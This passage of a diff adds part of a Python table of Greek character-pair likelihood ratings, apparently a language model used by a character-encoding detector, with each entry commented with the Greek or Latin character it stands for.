'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 2, # 'ς' + 7: 2, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 1, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 17: { # 'ά' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 3, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 2, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 3, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 18: { # 'έ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 3, # 'α' + 29: 2, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 3, # 'ε' + 32: 2, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 3, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 22: { # 'ή' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 1, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 2, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 15: { # 'ί' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 3, # 'α' + 29: 2, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 3, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 1, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 3, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 1: { # 'α' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 3, # 'ί' + 1: 0, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 2, # 'ε' + 32: 3, # 'ζ' + 13: 1, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 2, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 0, # 'ω' + 19: 2, # 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 29: { # 'β' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 2, # 'έ' + 22: 3, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 2, # 'γ' + 21: 2, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 3, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 2, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 20: { # 'γ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 3, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 3, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 2, # 'ύ' + 27: 3, # 'ώ' + }, + 21: { # 'δ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 3: { # 'ε' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 3, # 'ί' + 1: 2, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 2, # 'ε' + 32: 2, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 2, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 3, # 'ω' + 19: 2, # 'ό' + 26: 3, # 'ύ' + 27: 2, # 'ώ' + }, + 32: { # 'ζ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 2, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 1, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 2, # 'ό' + 26: 0, # 'ύ' + 27: 2, # 'ώ' + }, + 13: { # 'η' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 0, # 'ο' + 9: 2, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 25: { # 'θ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 1, # 'λ' + 10: 3, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 5: { # 'ι' + 60: 0, # 'e' + 55: 1, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 1, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 0, # 'ί' + 1: 3, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 2, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 0, # 'ύ' + 27: 3, # 'ώ' + }, + 11: { # 'κ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 2, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 2, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 2, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 16: { # 'λ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 1, # 'β' + 20: 2, # 'γ' + 21: 1, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 2, # 'θ' + 5: 3, # 'ι' + 11: 2, # 'κ' + 16: 3, # 'λ' + 10: 2, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 2, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 10: { # 'μ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 1, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 3, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 3, # 'φ' + 23: 0, # 'χ' + 42: 2, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 6: { # 'ν' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 2, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 1, # 'λ' + 10: 0, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 30: { # 'ξ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 